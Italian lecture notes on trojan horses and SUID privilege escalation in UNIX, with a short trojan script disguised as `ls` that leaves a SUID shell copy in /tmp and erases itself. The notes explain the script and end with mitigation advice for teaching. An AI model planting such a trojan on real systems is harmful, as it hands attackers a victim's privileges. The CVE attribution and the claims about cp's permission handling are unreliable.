Trojan horse e privilege escalation

Il **trojan horse** è uno dei tanti esempi di codice malevolo, ci sono poi ad esempio **logic bomb** e le **backdoor**, ed ancora altri esempi ancora di malware.

Premesse per la comprensione:
Ogni file UNIX ha un proprietario ed un gruppo (vedi ACL: access control list).
Normalmente un programma riceve i permessi dell'utente che lo lancia (`whoami`). Il programma `passwd` ad esempio appartiene all'utente `root` . Affinché l'utente possa cambiare la propria password il bit **SUID** (Set owner User ID up on execution) viene impostato ed **il programma viene lanciato con i permessi dell'owner**.

Pur trattandosi di modifiche ai permessi, un'operazione parecchio delicata, la questione non rappresenta un immediato campanello d'allarme in quanto `passwd` regolamenta il flusso delle operazioni che possono essere fatte sul file delle password, limitando l'operato dell'utente al semplice cambiare la propria password.

Il bit **SUID** nasce quindi per motivi funzionali ed è importante dal punto di vista della sicurezza visto che **permette l'aumento di privilegi**.
Un aumento non voluto dei privilegi porta all'attacco di **privilege escalation**

Questo bit può essere utilizzato per costruire un trojan.

Analisi di un trojan

Impostiamo i privilegi di esecuzione (`777`) allo script a seguire e lo eseguiamo:

```
#!/bin/sh ls
cp /bin/sh /tmp/.xxsh #copio l'eseguibile della shell su tmp, dove posso scrivere senza bisogno di privilegi superuser
chmod u+s,o+x /tmp/.xxsh #cambio i permessi alla copia (non potrei farlo sul file originale) In questo caso sto impostando il bit di SUID a 1, così posso avere una shell come super user. Da inoltre permessi di esecuzione a tutti.
rm ./ls #autodistruzione del trojan
ls $* # lancio ls di sistema così da mascherare il comportamento del mio script
```

Criticità: `cp` **deve scegliere che permessi dare al nuovo file copiato**, ovvero deve fare una scelta di policy.

I possibili scenari sono:

- dare i permessi del file originale
- dare i permessi della directory dove si sta copiando
- dare i permessi dell'utente che esegue la copia

Il modo in cui le varie routine danno i permessi è un punto critico per le policy.

Ad oggi `cp` **da alla copia i permessi della cartella di destinazione**, motivo per cui il trojan sopra riportato non è più utilizzabile.

La vulnerabilità che permette questo attacco di privilege escalation è la **CVE-2015-1328**.
È possibile riprodurre l'attacco su qualunque sistema operativo che presenti il modulo del filesystem alla versione riportata, come ad esempio Ubuntu 14.04.

Le prime due linee dello script vanno sotto il nome di **"carico" (payload)** e costituiscono il punto saliente dell'attacco. L'intrusione effettiva si avrà poi quando l'attaccante, dopo aver fatto eseguire lo script alla vittima ignara, si ritroverà nella directory /tmp (condivisa tra i vari utenti del sistema) un eseguibile di shell **con privilegi della vittima**.

Quando l'attaccante richiama la shell copiata se l'attacco è andato a buon fine come output del comando `whoami` si ha il nome della vittima, altrimenti verrà visualizzato il proprio nome utente.

Nota bene: questo attacco non consente in automatico di avere privilegi di amministratore ma fornisce gli stessi privilegi della vittima, dando quindi all'attaccante:

- la capacità di leggere e scrivere nello spazio della vittima
- la capacità di eseguire altri programmi (a meno di controlli e limitazioni di più altro livello forniti dal programma stesso) con i privilegi della vittima

Se la vittima è amministratore ovviamente il danno ha un'entità maggiore.

Una spiegazione in dettaglio dell'attacco è qui fornita

Note storiche

In passato il `.` (directory corrente) faceva parte della variabile `PATH`, era per altro all'inizio e quindi aveva **priorità maggiore**.
Questo perché quasi tutti i programmi venivano tenuti e lasciati a partire dalla home.

Ad oggi il `.` nel `PATH` è riconosciuto come una vulnerabilità e quindi è stato rimosso.

📝 **Domanda d'esame**: consideriamo un trojan scaricato dalla rete, come possiamo mitigarne gli effetti?
Esempio di risposta: potremmo innanzitutto limitare i permessi della directory dei download e mantenere lì i file scaricati, togliere dal `PATH` la directory in modo tale che per lo script sia impossibile eseguire comandi, o meglio ancora, rimuovere eventuali privilegi di esecuzione. Questo potrebbe essere una buona policy di sicurezza.